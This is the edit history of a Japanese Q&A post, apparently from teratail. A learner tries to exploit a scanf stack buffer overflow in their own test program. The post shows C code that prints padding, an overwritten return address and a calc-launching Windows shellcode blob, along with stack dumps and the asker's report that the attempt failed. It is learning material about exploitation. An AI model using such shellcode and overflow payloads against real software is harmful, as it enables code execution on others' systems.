質問編集履歴

2

追記

2019/10/21 01:30

投稿

kazuyakazuya
kazuyakazuya

スコア193

test CHANGED
File without changes
test CHANGED
@@ -311,3 +311,11 @@
311
311
 
312
312
 
313
313
  電卓が起動してないのだから失敗・・・ですよね?
314
+
315
+
316
+
317
+ ```string
318
+
319
+ 追記1: すみません。printf関数ではだめみたいですね。
320
+
321
+ ```

1

追記

2019/10/21 01:30

投稿

kazuyakazuya
kazuyakazuya

スコア193

test CHANGED
File without changes
test CHANGED
@@ -153,3 +153,161 @@
153
153
 
154
154
 
155
155
  分からないのでお願いします。
156
+
157
+
158
+
159
+ 追記
160
+
161
+ --
162
+
163
+
164
+
165
+ [電卓を起動させるシェルコード](http://inaz2.hatenablog.com/entry/2015/04/23/013858)
166
+
167
+ ```c
168
+
169
+ #include <stdio.h>
170
+
171
+
172
+
173
+ int main(void)
174
+
175
+ {
176
+
177
+ for (int i = 0; i < 28; ++i) putchar(0x00);
178
+
179
+ putchar(0xBC);
180
+
181
+ putchar(0xFA);
182
+
183
+ putchar(0x4F);
184
+
185
+ putchar(0x00);
186
+
187
+ printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");
188
+
189
+ }
190
+
191
+
192
+
193
+ ```
194
+
195
+ パイプを使って上記のコードをscanf関数を持った脆弱性のあるコードへ流しました。
196
+
197
+
198
+
199
+ ```c
200
+
201
+ asub関数のアドレス・・・000B12C6
202
+
203
+ リターンアドレス・・・000B1CEC
204
+
205
+ 保存されたebp:004FFB0C
206
+
207
+ f
208
+
209
+ ローカル変数
210
+
211
+ ローカル変数 4バイト出力 16進数 0 80
212
+
213
+ addr:004FFA9C price:fc30066
214
+
215
+ addr:004FFAA0 price:bc002
216
+
217
+ addr:004FFAA4 price:4ffaf8
218
+
219
+ addr:004FFAA8 price:0
220
+
221
+ addr:004FFAAC price:b1cec
222
+
223
+ addr:004FFAB0 price:b12c6
224
+
225
+ addr:004FFAB4 price:4ffb0c
226
+
227
+ addr:004FFAB8 price:b1cec
228
+
229
+ addr:004FFABC price:8
230
+
231
+ addr:004FFAC0 price:b1352
232
+
233
+ addr:004FFAC4 price:b1352
234
+
235
+ addr:004FFAC8 price:251000
236
+
237
+ addr:004FFACC price:2
238
+
239
+ addr:004FFAD0 price:7542f840
240
+
241
+ addr:004FFAD4 price:6057d1f8
242
+
243
+ addr:004FFAD8 price:4ffaf4
244
+
245
+ addr:004FFADC price:fbfc922
246
+
247
+ addr:004FFAE0 price:0
248
+
249
+ addr:004FFAE4 price:b1352
250
+
251
+ addr:004FFAE8 price:0
252
+
253
+ addr:004FFAEC price:fc2e62e
254
+
255
+ addr:004FFAF0 price:fd04e64
256
+
257
+ ```
258
+
259
+ 入力からリターンアドレスまでは28バイトよって
260
+
261
+ ```c
262
+
263
+ for (int i = 0; i < 28; ++i) putchar(0x00);
264
+
265
+ ```
266
+
267
+ 28バイト適当に埋める。
268
+
269
+ ```c
270
+
271
+ putchar(0xBC);
272
+
273
+ putchar(0xFA);
274
+
275
+ putchar(0x4F);
276
+
277
+ putchar(0x00);
278
+
279
+ ```
280
+
281
+ これでシェルコードが配置されるであろうアドレスに
282
+
283
+ リターンアドレスを書き換える。
284
+
285
+
286
+
287
+ ```c
288
+
289
+ printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");
290
+
291
+ ```
292
+
293
+ 上記でシェルコードを配置・・・
294
+
295
+ ただ、エンディアンとかを考慮した場合結構あやしいような・・・
296
+
297
+
298
+
299
+ 結果
300
+
301
+
302
+
303
+ ![イメージ説明](bde15d581de764b780d7c4a04babe1d5.png)
304
+
305
+ 普通、「無視」を選択すれば警告は少なくとも、失せてくれるのですが
306
+
307
+ 今回では「無視」を選択しても
308
+
309
+ ループ的に警告が再度表示されるようになりました。
310
+
311
+
312
+
313
+ 電卓が起動してないのだから失敗・・・ですよね?